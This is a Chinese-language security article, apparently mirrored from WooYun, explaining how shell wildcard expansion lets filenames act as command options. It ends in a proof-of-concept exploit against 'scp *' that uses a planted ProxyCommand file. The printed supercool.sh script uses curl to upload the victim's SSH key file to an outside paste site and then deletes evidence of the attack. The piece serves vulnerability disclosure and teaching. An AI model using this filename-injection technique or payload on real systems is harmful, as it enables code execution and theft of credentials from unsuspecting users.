Linux 萬用字元可能產生的問題

wyzsk發表於2020-08-19
作者: 愛小狐狸的小螃蟹 · 2014/06/24 17:37

from:https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

0x00 萬用字元


當你在一個bash命令列中輸入“*”時,bash會擴充套件到當前目錄的所有檔案,然後將他們全部作為引數傳遞給程式。例如:rm *,將會刪除掉當前目錄的所有檔案。

0x01 檔名被當做引數


大多數的命令列程式受此影響。例如ls命令,當不適用任何引數時,輸出是這個樣子的:

#!bash
[[email protected] foo]$ ls
asdf.txt  foobar  -l

如果你想要知道這些檔案所屬的組和使用者,你可以透過”-l"引數來檢視:

#!bash
[[email protected] foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一個名字是“-l”的檔案,我們試試“ls *”會發生什麼。

#!bash
[[email protected] foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

與之前不同的是"ls *” 沒有輸出-l檔案,-l檔案被當做了此命令的引數。

此條命令相當於執行:

#!bash
[[email protected] foo]$ ls asdf.txt foobar -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar  

0x02 安全問題


此問題可能導致一些安全問題,當有人參數當中帶有一個萬用字元,又沒有事先檢查目錄下的檔名稱。這可能被用來攻擊別人電腦。

這個問題是眾所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已經有關於此問題的討論。

0x03 Proof of Concept Exploit


為了證明這個問題可以轉化為一個任意程式碼執行攻擊,我們嘗試攻擊“scp”命令,scp命令提供了-o選項,配置ssh,SSh有涉及執行命令的選項,我們可以利用這一點,讓我們的指令碼執行。

假設我們有一個目錄的控制許可權,在該目錄下受害者將執行以下命令(想象一下,使用者只下載一個web應用程式的原始碼,並上傳到他們的網路伺服器上):

#!bash
$ scp * [email protected]:/var/www/

為了利用這個命令,在目錄下我們需要放幾個檔案:

"-o" - SCP 將會把這個檔案當做 "-o” 引數。
"ProxyCommand sh supercool.sh %h %p" - SCP 將會把這個檔案當做 "-o" 的一個引數。
"supercool.sh" - 這個指令碼將會被執行。
"zzz.txt" - 沒有任何用處的測試檔案。

在supercool.sh檔案裡,有一些惡意的命令:

#!bash
#!/bin/sh

# Upload their SSH public key to the Internet, and put a scary message in /tmp/.
echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
        -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
        https://defuse.ca/bin/add.php -D - |                                \
        grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt

# Delete evidence of our attack.
rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
echo > ./supercool.sh

# Do what ProxyCommand is supposed to do.
nc -p 22332 -w 5 $1 $2

當受害者執行命令時:

#!bash
$ scp * [email protected]:/var/www/
supercool.sh
zzz.txt

當他檢查自己的/tmp目錄下的時候將會看到:

#!bash
$ cat /tmp/you-have-been-hacked.txt
By @DefuseSec and @redragonx...
This could have been your private key...
https://defuse.ca/b/QQ3nxADu 

可以在這裡下載完整的poc檔案:poc.zip

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章